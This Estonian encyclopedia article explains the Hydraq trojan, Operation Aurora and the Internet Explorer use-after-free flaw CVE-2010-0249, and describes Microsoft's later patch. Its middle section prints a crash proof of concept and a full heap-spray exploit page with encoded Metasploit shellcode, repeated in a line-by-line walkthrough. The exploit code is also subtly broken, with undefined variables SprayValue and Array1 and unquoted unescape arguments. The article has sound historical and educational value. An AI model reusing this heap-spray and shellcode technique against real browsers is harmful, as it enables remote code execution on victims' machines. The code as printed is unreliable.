Hydraq on pahavara (Trooja hobune), mida kasutati operatsiooni Aurora käigus. Pahavara oli suunatud Google'i ja teiste Ameerika Ühendriikide suurettevõtete suunas. Rünnakud toimusid peamiselt 2009. aastal.[1]

2010. aasta 14. jaanuaril andis Microsoft avalikkusele teada, et nende veebibrauseris, Internet Exploreris, on turvaauk, mille abil on võimalik kasutaja arvutis käivitada võõrast koodi (võõras kood – skript, mis pole pärit algselt ohvri arvutist, vaid tuleb veebilehega kaasa)[2].

Turvaaugu abil oli võimalik saada ligipääs kasutaja arvutile. Eriti ohtlikuks tegi selle fakt, et häkker sai samad õigused, mis olid algsel arvuti kasutajal, ehk kui arvuti kasutajal olid administratiivsed kasutajaõigused, siis sai ka häkker samad õigused.[3] Turvaauk puudutas tugevalt järgmisi Internet Exploreri versioone: 6, 6 SP, 7 ja 8.[4] Microsoft ei olnud sellest turvaaugust teadlik, kuni seda kasutati Aurora operatsioonis. Auroraga seotud ründed toimusid aastatel 2009 ja 2010 [5]. Ründe hetkel oli tegemist nullpäeva turvaauguga, mis muutis selle kasutamise eriti lihtsaks, sest seda selle rünnaku vastu oli raske valmistuda.

Turvaaugu kirjeldus muuda

Turvaauk oli seotud veaga mälu halduses. Viga seisnes selles, et ründajal oli võimalik käivitada koodi Internet Exploreri veebibrauseris. Koodi sai käivitada, kui saadi ligipääs kustutatud sündmuse objekti viidale, mis tekitaski vea mäluhalduses. Kasutatakse ka nime use-after-free.[5]

See turvaauk peitus Internet Exploreri koodis, mis asus MSHTML.DLL failis.[6] MSHTML.DLL abil suudab Internet Exploreris lugeda HTML faile ja neid veebilehtedena kuvada.[7]

MSHTML.DLL implementeerib sündmuse objekti IHTMLEventObj4, mis on osa CEventObj klassist. Sündmuse atribuute, aga hoitakse EVENTPARAM struktuuris. Enamikel sündmustel on srcElement atribuut, mis viitab elemendi asukohale DOM (inglise keeles document object model) puus. Sarnased atribuudid on fromElement ja toElement.[8]

Viga saab alguse siis, kui kopeeritakse ühte EVENTPARAM’it, mida saab teha selle struktuuri konstruktori abil. Uue kopeeritud EVENTPARAM’i srcElement viitab algsele EVENTPARAM’ile. Viga tekib siis, kui koopia elab kauem, kui algne. Kui algne kustututakse, siis koopia srcElement viitab tühjale asukohale DOM puus, mis põhjustabki Internet Exploreri kokkujooksmise.[8]

Skript, mis kasutab kirjeldatud nõrkust, et veebibrauser kokku jooksutada:

function window :: onload ()
{
    var SourceElement = document.createElement ("div");
    document.body.appendChild (SourceElement);
    var SavedEvent = null;
    SourceElement.onclick = function () {
        SavedEvent = document.createEventObject (event);
        document.body.removeChild (event.srcElement);
    }
    SourceElement.fireEvent ("onclick");
    SourceElement = SavedEvent.srcElement;
}

Skript loob HTML elemendi <div> ja paneb selle DOM puusse, <body> lapseks. Tehakse globaalne muutuja SavedEvent. Käivitatakse sündmus onclick, mis omistab muutuja SavedEvent väärtuseks käivitatud sündmuse koopia. Siis kutsutakse algne sündmus käsuga document.body.removeChild(event.srcElement). Tänu sellele elab koopia kauem kui algne sündmus. Lõpuks proovitakse omistada SourceElement muutujale väärtus SavedEvent.srcElement, aga kuna see viitab kohta, mis on tühi, siis Internet Explorer jookseb kokku.[8]


Turvaaugu kasutamine muuda

Siin on kood, mis kasutab ära Hydraq Trojani kasutatavat turvaauku. Järgnev koodijupp käivitab veebilehe külastamisel kalkulaatori.[8]

<html>
    <script>
        var v1 = new Array();
        for (i = 0; i < 200; i++) {
            v1[i] = document.createElement("COMMENT");
            v1[i].data = "AAA"; }
        var e1 = null;
        function HeapSpray() {
            v2 = new Array();
            // Encoder: x86/shikata_ga_nai
            // EXITFUNC=process, CMD=calc.exe
            var shellcode = unescape( %u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
            %ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
            %ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
            %u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
            %u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
            %u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
            %u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
            %uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
            %u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
            %u9c25%u41ef);
            var spray = unescape(%u0c0d);
            do { spray += spray; } while( SprayValue.length < 880500 );
            for (j = 0; j < 100; j++)
                v2[j] = spray + shellcode;}
        function Remove(Value1) {
            HeapSpray();
            e1 = document.createEventObject(Value1);
            document.getElementById("SpanID").innerHTML = "";
            window.setInterval(Overwrite, 50);}
        function Overwrite() {
            buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
            for (i = 0; i < Array1.length; i++)
                v1[i].data = buffer;
            var t = e1.srcElement; }
    </script>
    <body>
        <span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
    </body>
</html>

Implementatsiooni seletus muuda

var v1 = new Array();
        for (i = 0; i < 200; i++) {
            v1[i] = document.createElement("COMMENT");
            v1[i].data = "AAA"; }

Antud for-tsükkel loob massiivi v1, mis täidetakse COMMENT elementidega.[5]


<body>
    <span id="SpanID"><IMG src="abcd.gif" onload="Remove(event)" /></span>
</body>

Kutsutakse välja meetod Remove(Value1), kui pilt "abcd.gif" saab laetud. Remove(Value1) meetodi esimene rida on meetodi HeapSpray() välja kutsumine, seega vaatame seda.[5]


function HeapSpray() {
            v2 = new Array();
            // Encoder: x86/shikata_ga_nai
            // EXITFUNC=process, CMD=calc.exe
            var shellcode = unescape( %u9090%u9090%u82be%u5fa0%u2b4e%udbc9%ub1cc
            %ud933%u2474%u58f4%u7031%u0310%u1070%u4283%ubda4%ubebb%uc84d%u3e44%uab8e%udbcd%uf9bf%ua8aa
            %ucd92%ufcb9%ua51e%u14ec%ucb94%u1b38%u611d%u121f%u479e%uf89f%uc95c%u0263%u29b1%ucd5d
            %u28c4%u339a%u7826%u3873%u6d95%u7cf0%u8f26%u0bd6%uf716%ucb53%u4de3%u1b5d%ud95b
            %u8315%u85d7%ub285%ud634%ufdfa%u2d31%ufc88%u7f93%ucf71%u2cdb%ue04c
            %u2dd1%uc688%u5809%u35e2%u5bb7%u4431%ue963%ueea4%u49e0%u0f0d
            %u0f24%u03c6%u5b81%u0780%u8f14%u33ba%u2e9d%ub26d%u14e5%u9fa9%u35be%u45e8%u4910%u21ea%uefcd
            %uc360%u891a%u892a%u1bdd%uf451%u23de%u565a%u12b7%u39d1%uaac0%u7e30%ue13e%ud619%uacd7%u6bcb
            %u4eba%uaf26%uccc3%u4fc3%ucc30%u4aa1%u4a7c%u2659%u3fed%u955d%u6a0e%u783e%uf69d%u1fef
            %u9c25%u41ef);
            var spray = unescape(%u0c0d);
            do { spray += spray; } while( SprayValue.length < 880500 );
            for (j = 0; j < 100; j++)
                v2[j] = spray + shellcode;}

HeapSpray() funktsiooni täidab massiivi v2 muutujatega spray + shellcode. Shellcode on Metasploitiga genereeritud kood, mis käivitab calc.exe (kalkulaatori). spray muutuja on mõeldud selleks, et täita mälu baitidega, mida käivitades programm jääb tööle (sel juhul, Internet Explorer ei jookse kokku).[5] Lõpuks on v2 täidetud elementidega, mis on kõik samasugused, ja koosnevad muutujatest spray ja shellcode.


function Remove(Value1) {
            HeapSpray();
            e1 = document.createEventObject(Value1);
            document.getElementById("SpanID").innerHTML = "";
            window.setInterval(Overwrite, 50);}

Pärast HeapSpray() läbimist, tehakse koopia sündmusest, mis kutsus Remove() meetodi välja (sel korral pildi ära laadimine) ja omistatakse see väärtus e1 muutujale. Lisaks muudetakse SpanID id-ga sildiatribuudi sisu tühjaks. Tänu sellele on nüüd mälu, kuhu e1.srcElement viitab, tühi (use-after-free on rakendatud). Viimasel real kutsutakse välja meetod Overwrite(), mida rakendatakse iga 50 millisekundi tagant.[5]

function Overwrite() {
            buffer = "\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\u0c0d\
            u0c0d\u0c0d\u0c0d\u0c0d\u0c0d";
            for (i = 0; i < Array1.length; i++)
                v1[i].data = buffer;
            var t = e1.srcElement; }

Overwrite() kirjutab üle alguses loodud v1 massiiv. Täpsemalt antakse igale v1 elemendile uus väärtus, milleks on buffer’i väärtus. buffer’i väärtuseks on 0c0d, sama, mis oli HeapSpray’is spray väärtuseks. See väärtus käitub masinkeeles nagu OR AL, 0D mis on samaväärne NOP’iga.[5] NOP tähendab no-operation, ehk selle lugemisel ei tehta ühtegi operatsiooni ja liigutakse edasi.[9] Lõpuks kutsutakse välja e1.srcElement, mis kasutab ära turvaauku, ja ohvri arvutis käivitub tänu shellcode’ile kalkulaator.

Parandus muuda

21. jaanuaril 2010 andis Microsoft välja Internet Exploreri uuenduse, mis lisaks teistele turvariskidele parandas ka kirjeldatud turvaagu.[3] Uuenduse juurde kuulunud teates ei olnudki kirjas, kuidas midagi parandati, mis on sagedane juhtum suletud lähtekoodiga toodetel. See aga ei takistanud uudishimulikke inimesi täpsemalt uurimast.

Selgus, et EVENTPARAM konstruktorisse lisati uus kood. Täpsemalt lisati kood nii, et iga kord, kui on mitte NULL sisend EVENTPARAM atribuutidele (näiteks srcElement), siis kutsutakse välja meetod NodeAddRef, mis siis seab kokku vastavad viidad ja tipud. Lisaks iga uue tipu lisamisel kutsutakse välja meetod NodeAddRef.[8]

Lisaks sellele lisati ka EVENTPARAM dekonstruktorisse uut koodi. Täpsemalt lisati funktsioon NodeRelease, mis siis tipu eemaldmisel vabastab tipud sinna vastavatest viitadest.[8] See tähendab, et ei teki enam olukorda, kus mõni viit viib tühja tippu.

Viited muuda

  1. "Hydraq trojan is back (well, it never went away)". Infosecurity Magazine. 17. märts 2012. Vaadatud 06.05.2019.
  2. "Microsoft Security Advisory 979352". docs.microsoft.com. 14. jaanuar 2010. Vaadatud 28.04.2019.
  3. 3,0 3,1 "Microsoft Security Bulletin MS10-002 - Critical". 21. jaanuar 2010. HTML Object Memory Corruption Vulnerability - CVE-2010-0249. Vaadatud 29.04.2019.
  4. "CVE-2010-0249 Detail". National Vulnerabilty Database. 15. jaanuar 2010. Vaadatud 30.04.2019.
  5. 5,0 5,1 5,2 5,3 5,4 5,5 5,6 Cugliari, Andrea; Graziano Mariano (september 2010). "Smashing the stack in 2010" (pdf). academia.edu. Pp 78-84. Vaadatud 30.04.2019.{{netiviide}}: CS1 hooldus: mitu nime: autorite loend (link)
  6. Liston, Kevin (15. jaanuar 2010). "Exploit code available for CVE-2010-0249". Internet Storm Center. Vaadatud 06.02.2020.
  7. Hoke, Chris. "How to Fix an MSHTML.DLL Error". techwalla.com. Vaadatud 06.02.2020.
  8. 8,0 8,1 8,2 8,3 8,4 8,5 Chappell, Geoff (18. jaanuar 2010). "Operation Arurora". geoffchappell.com. Vaadatud 04.05.2019.
  9. "No Operation (NOP)". techopedia.com. Vaadatud 05.05.2019.